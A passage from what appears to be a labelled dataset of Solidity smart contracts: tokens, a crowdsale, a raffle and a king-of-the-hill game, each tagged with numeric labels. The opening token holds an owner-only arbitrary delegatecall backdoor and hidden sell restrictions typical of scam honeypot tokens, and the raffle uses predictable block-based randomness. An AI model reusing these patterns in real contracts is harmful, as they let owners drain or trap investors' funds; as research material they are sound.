_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,732 |
pragma solidity ^0.4.16;
contract koth_v1b {
event NewKoth(
uint gameId,
uint betNumber,
address bettor,
uint bet,
uint pot,
uint lastBlock,
uint minBet,
uint maxBet
);
event KothWin(
uint gameId,
uint totalBets,
address winner,
uint winningBet,
uint pot,
uint fee,
uint firstBlock,
uint lastBlock
);
uint public constant minPot = 0.001 ether;
uint public constant minRaise = 0.001 ether;
address feeAddress;
uint public gameId = 0;
uint public betId;
uint public highestBet;
uint public pot;
uint public firstBlock;
uint public lastBlock;
address public koth;
function koth_v1b() public {
feeAddress = msg.sender;
resetKoth();
}
function () payable public {
if (lastBlock > 0 && block.number > lastBlock) {
msg.sender.transfer(msg.value);
return;
}
uint minBet = highestBet + minRaise;
if (msg.value < minBet) {
msg.sender.transfer(msg.value);
return;
}
uint maxBet;
if (pot < 1 ether) {
maxBet = 3 * pot;
} else {
maxBet = 5 * pot / 4;
}
if (msg.value > maxBet) {
msg.sender.transfer(msg.value);
return;
}
betId++;
highestBet = msg.value;
koth = msg.sender;
pot += highestBet;
uint potEther = pot/1000000000000000000;
uint blocksRemaining = (potEther ** 2)/2 - 8*potEther + 37;
if (blocksRemaining < 6) {
blocksRemaining = 3;
}
lastBlock = block.number + blocksRemaining;
NewKoth(gameId, betId, koth, highestBet, pot, lastBlock, minBet, maxBet);
}
function resetKoth() private {
gameId++;
highestBet = 0;
koth = address(0);
pot = minPot;
lastBlock = 0;
betId = 0;
firstBlock = block.number;
}
function rewardKoth() public {
if (msg.sender == feeAddress && lastBlock > 0 && block.number > lastBlock) {
uint fee = pot / 20;
KothWin(gameId, betId, koth, highestBet, pot, fee, firstBlock, lastBlock);
uint netPot = pot - fee;
address winner = koth;
resetKoth();
winner.transfer(netPot);
if (this.balance - fee >= minPot) {
feeAddress.transfer(fee);
}
}
}
function addFunds() payable public {
if (msg.sender != feeAddress) {
msg.sender.transfer(msg.value);
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 0 | 597 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function getChallengeNumber() public constant returns (bytes32);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
address public lastRewardTo;
uint public lastRewardEthBlockNumber;
}
contract ZeroGoldPOWMining is Owned {
using SafeMath for uint;
ERC20Interface zeroGold;
ERC918Interface public miningLeader;
uint rewardDivisor = 20;
uint epochCount = 0;
uint unclaimedRewards = 0;
mapping(address => uint) mintHelperRewards;
mapping(bytes32 => bytes32) solutionForChallenge;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
constructor(address _miningLeader) public {
miningLeader = ERC918Interface(_miningLeader);
zeroGold = ERC20Interface(0x6ef5bca539A4A01157af842B4823F54F9f7E9968);
}
function merge() external returns (bool success) {
if (miningLeader.lastRewardTo() != msg.sender) {
return false;
}
if (miningLeader.lastRewardEthBlockNumber() != block.number) {
return false;
}
bytes32 challengeNumber = miningLeader.getChallengeNumber();
bytes32 solution = solutionForChallenge[challengeNumber];
if (solution != 0x0) return false;
bytes32 digest = 'merge';
solutionForChallenge[challengeNumber] = digest;
uint reward = getRewardAmount();
unclaimedRewards = unclaimedRewards.add(reward);
mintHelperRewards[msg.sender] = mintHelperRewards[msg.sender].add(reward);
uint balance = zeroGold.balanceOf(address(this));
assert(mintHelperRewards[msg.sender] <= balance);
epochCount = epochCount.add(1);
emit Mint(msg.sender, mintHelperRewards[msg.sender], epochCount, 0);
return true;
}
function transfer(
address _wallet,
uint _reward
) external returns (bool) {
if (_reward <= 0) {
return false;
}
if (_reward > mintHelperRewards[msg.sender]) {
return false;
}
mintHelperRewards[msg.sender] = mintHelperRewards[msg.sender].sub(_reward);
unclaimedRewards = unclaimedRewards.sub(_reward);
zeroGold.transfer(_wallet, _reward);
}
function getRewardAmount() public view returns (uint) {
uint totalBalance = zeroGold.balanceOf(address(this));
uint availableBalance = totalBalance.sub(unclaimedRewards);
uint rewardAmount = availableBalance.div(rewardDivisor);
return rewardAmount;
}
function lastRewardAmount() external view returns (uint) {
return mintHelperRewards[msg.sender];
}
function setMiningLeader(address _miningLeader) external onlyOwner {
miningLeader = ERC918Interface(_miningLeader);
}
function setRewardDivisor(uint _rewardDivisor) external onlyOwner {
rewardDivisor = _rewardDivisor;
}
function () public payable {
revert('Oops! Direct payments are NOT permitted here.');
}
function transferAnyERC20Token(
address tokenAddress, uint tokens
) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,186 |
pragma solidity ^0.4.19;
interface ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract MoonMinerToken is ERC20, ERC223 {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function MoonMinerToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_symbol = symbol;
_name = name;
_decimals = decimals;
_totalSupply = totalSupply * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply * 10 ** uint256(decimals);
}
function name()
public
view
returns (string) {
return _name;
}
function symbol()
public
view
returns (string) {
return _symbol;
}
function decimals()
public
view
returns (uint8) {
return _decimals;
}
function totalSupply()
public
view
returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,304 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply = 90000000 * 10**16;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ChargCoinContract is StandardToken, Ownable {
string public standard = "Charg Coin";
string public name = "Charg Coin";
string public symbol = "CHARG";
uint public decimals = 16;
address public multisig = 0x0fA3d47B2F9C01396108D81aa63e4F20d4cd7994;
uint PRICE = 500;
struct ContributorData {
uint contributionAmount;
uint tokensIssued;
}
function ChargCoinContract() {
balances[msg.sender] = totalSupply;
}
mapping(address => ContributorData) public contributorList;
uint nextContributorIndex;
mapping(uint => address) contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, crowdsale, crowdsaleEnded }
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blockNumber);
event MaxCapReached(uint blockNumber);
uint public constant BEGIN_TIME = 1506400526;
uint public constant END_TIME = 1510790400;
uint public minCap = 1 ether;
uint public maxCap = 70200 ether;
uint public ethRaised = 0;
uint public tokenTotalSupply = 90000000 * 10**decimals;
uint crowdsaleTokenCap = 35100000 * 10**decimals;
uint foundersAndTeamTokens = 9000000 * 10**decimals;
uint slushFundTokens = 45900000 * 10**decimals;
bool foundersAndTeamTokensClaimed = false;
bool slushFundTokensClaimed = false;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
function() payable {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if(crowdsaleState == state.crowdsale) {
createTokens(msg.sender);
} else {
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised >= maxCap && crowdsaleState != state.crowdsaleEnded) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
return true;
}
if(now >= END_TIME) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
return true;
}
if(now >= BEGIN_TIME && now < END_TIME) {
if (crowdsaleState != state.crowdsale) {
crowdsaleState = state.crowdsale;
CrowdsaleStarted(block.number);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
function createTokens(address _contributor) payable {
uint _amount = msg.value;
uint contributionAmount = _amount;
uint returnAmount = 0;
if (_amount > (maxCap - ethRaised)) {
contributionAmount = maxCap - ethRaised;
returnAmount = _amount - contributionAmount;
}
if (ethRaised + contributionAmount > minCap && minCap > ethRaised) {
MinCapReached(block.number);
}
if (ethRaised + contributionAmount == maxCap && ethRaised < maxCap) {
MaxCapReached(block.number);
}
if (contributorList[_contributor].contributionAmount == 0){
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex += 1;
}
contributorList[_contributor].contributionAmount += contributionAmount;
ethRaised += contributionAmount;
uint256 tokenAmount = calculateEthToChargcoin(contributionAmount);
if (tokenAmount > 0) {
transferToContributor(_contributor, tokenAmount);
contributorList[_contributor].tokensIssued += tokenAmount;
}
if (!multisig.send(msg.value)) {
revert();
}
}
function transferToContributor(address _to, uint256 _value) {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
}
function calculateEthToChargcoin(uint _eth) constant returns(uint256) {
uint tokens = _eth.mul(getPrice());
uint percentage = 0;
if (ethRaised > 0)
{
percentage = ethRaised * 100 / maxCap;
}
return tokens + getStageBonus(percentage, tokens) + getAmountBonus(_eth, tokens);
}
function getStageBonus(uint percentage, uint tokens) constant returns (uint) {
uint stageBonus = 0;
if (percentage <= 10) stageBonus = tokens * 60 / 100;
else if (percentage <= 50) stageBonus = tokens * 30 / 100;
else if (percentage <= 70) stageBonus = tokens * 20 / 100;
else if (percentage <= 90) stageBonus = tokens * 15 / 100;
else if (percentage <= 100) stageBonus = tokens * 10 / 100;
return stageBonus;
}
function getAmountBonus(uint _eth, uint tokens) constant returns (uint) {
uint amountBonus = 0;
if (_eth >= 3000 ether) amountBonus = tokens * 13 / 100;
else if (_eth >= 2000 ether) amountBonus = tokens * 12 / 100;
else if (_eth >= 1500 ether) amountBonus = tokens * 11 / 100;
else if (_eth >= 1000 ether) amountBonus = tokens * 10 / 100;
else if (_eth >= 750 ether) amountBonus = tokens * 9 / 100;
else if (_eth >= 500 ether) amountBonus = tokens * 8 / 100;
else if (_eth >= 300 ether) amountBonus = tokens * 75 / 1000;
else if (_eth >= 200 ether) amountBonus = tokens * 7 / 100;
else if (_eth >= 150 ether) amountBonus = tokens * 6 / 100;
else if (_eth >= 100 ether) amountBonus = tokens * 55 / 1000;
else if (_eth >= 75 ether) amountBonus = tokens * 5 / 100;
else if (_eth >= 50 ether) amountBonus = tokens * 45 / 1000;
else if (_eth >= 30 ether) amountBonus = tokens * 4 / 100;
else if (_eth >= 20 ether) amountBonus = tokens * 35 / 1000;
else if (_eth >= 15 ether) amountBonus = tokens * 3 / 100;
else if (_eth >= 10 ether) amountBonus = tokens * 25 / 1000;
else if (_eth >= 7 ether) amountBonus = tokens * 2 / 100;
else if (_eth >= 5 ether) amountBonus = tokens * 15 / 1000;
else if (_eth >= 3 ether) amountBonus = tokens * 1 / 100;
else if (_eth >= 2 ether) amountBonus = tokens * 5 / 1000;
return amountBonus;
}
function getPrice() constant returns (uint result) {
return PRICE;
}
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner {
require(crowdsaleState != state.crowdsaleEnded);
require(ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++){
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) return;
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
balances[currentParticipantAddress] = 0;
if (!currentParticipantAddress.send(contribution)){
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function setMultisigAddress(address _newAddress) onlyOwner {
multisig = _newAddress;
}
} | 1 | 3,759 |
pragma solidity ^0.4.11;
contract asssderf {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546508000;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
if (msg.value == 0) {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
}
} | 0 | 981 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
mapping (address => bool) adminContracts;
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface CardsInterface {
function balanceOf(address player) public constant returns(uint256);
function updatePlayersCoinByOut(address player) external;
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public;
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
}
interface RareInterface {
function getRareItemsOwner(uint256 rareId) external view returns (address);
function getRareItemsPrice(uint256 rareId) external view returns (uint256);
function getRareInfo(uint256 _tokenId) external view returns (
uint256 sellingPrice,
address owner,
uint256 nextPrice,
uint256 rareClass,
uint256 cardId,
uint256 rareValue
);
function transferToken(address _from, address _to, uint256 _tokenId) external;
function transferTokenByContract(uint256 _tokenId,address _to) external;
function setRarePrice(uint256 _rareId, uint256 _price) external;
function rareStartPrice() external view returns (uint256);
}
contract CardsRaffle is AccessAdmin {
using SafeMath for SafeMath;
function CardsRaffle() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
CardsInterface public cards ;
RareInterface public rare;
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function getRareAddress() public view returns (address) {
return rare;
}
event UnitBought(address player, uint256 unitId, uint256 amount);
event RaffleSuccessful(address winner);
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases;
uint256 raffleRareId;
}
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
mapping(address => TicketPurchases) private ticketsBoughtByPlayer;
mapping(uint256 => address[]) private rafflePlayers;
uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000;
uint256 private raffleEndTime;
uint256 private raffleRareId;
uint256 private raffleTicketsBought;
address private raffleWinner;
bool private raffleWinningTicketSelected;
uint256 private raffleTicketThatWon;
function buyRaffleTicket(uint256 amount) external {
require(raffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount);
require(cards.balanceOf(msg.sender) >= ticketsCost);
cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost);
TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender];
if (purchases.raffleRareId != raffleRareId) {
purchases.numPurchases = 0;
purchases.raffleRareId = raffleRareId;
rafflePlayers[raffleRareId].push(msg.sender);
}
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1);
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1));
raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount);
UnitBought(msg.sender,raffleRareId,amount);
}
function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin {
require(rareId>0);
require(rare.getRareItemsOwner(rareId) == getRareAddress());
require(block.timestamp < endTime);
if (raffleRareId != 0) {
require(raffleWinner != 0);
}
raffleWinningTicketSelected = false;
raffleTicketThatWon = 0;
raffleWinner = 0;
raffleTicketsBought = 0;
raffleEndTime = endTime;
raffleRareId = rareId;
}
function awardRafflePrize(address checkWinner, uint256 checkIndex) external {
require(raffleEndTime < block.timestamp);
require(raffleWinner == 0);
require(rare.getRareItemsOwner(raffleRareId) == getRareAddress());
if (!raffleWinningTicketSelected) {
drawRandomWinner();
}
if (checkWinner != 0) {
TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) {
assignRafflePrize(checkWinner);
return;
}
}
}
for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) {
address player = rafflePlayers[raffleRareId][i];
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) {
assignRafflePrize(player);
return;
}
}
}
}
}
function assignRafflePrize(address winner) internal {
raffleWinner = winner;
uint256 newPrice = (rare.rareStartPrice() * 25) / 20;
rare.transferTokenByContract(raffleRareId,winner);
rare.setRarePrice(raffleRareId,newPrice);
cards.updatePlayersCoinByOut(winner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId);
cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue);
RaffleSuccessful(winner);
}
function drawRandomWinner() public onlyAdmin {
require(raffleEndTime < block.timestamp);
require(!raffleWinningTicketSelected);
uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp);
raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought);
raffleWinningTicketSelected = true;
}
function getRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (rafflePlayers[raffleId]);
}
function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
if (playersTickets.raffleRareId == raffleRareId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,481 |
pragma solidity ^0.4.24;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract COINMARK is ERC20Interface{
string public name = "COINMARK";
string public symbol = "COM";
uint public decimals = 18;
uint public supply;
address public founder;
mapping(address => uint) public balances;
event Transfer(address indexed from, address indexed to, uint tokens);
constructor() public{
supply = 3000000000000000000000000000;
founder = msg.sender;
balances[founder] = supply;
}
function totalSupply() public view returns (uint){
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance){
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success){
require(balances[msg.sender] >= tokens && tokens > 0);
balances[to] += tokens;
balances[msg.sender] -= tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[founder] >= _value);
balances[founder] -= _value;
supply -= _value;
return true;
}
} | 1 | 4,132 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
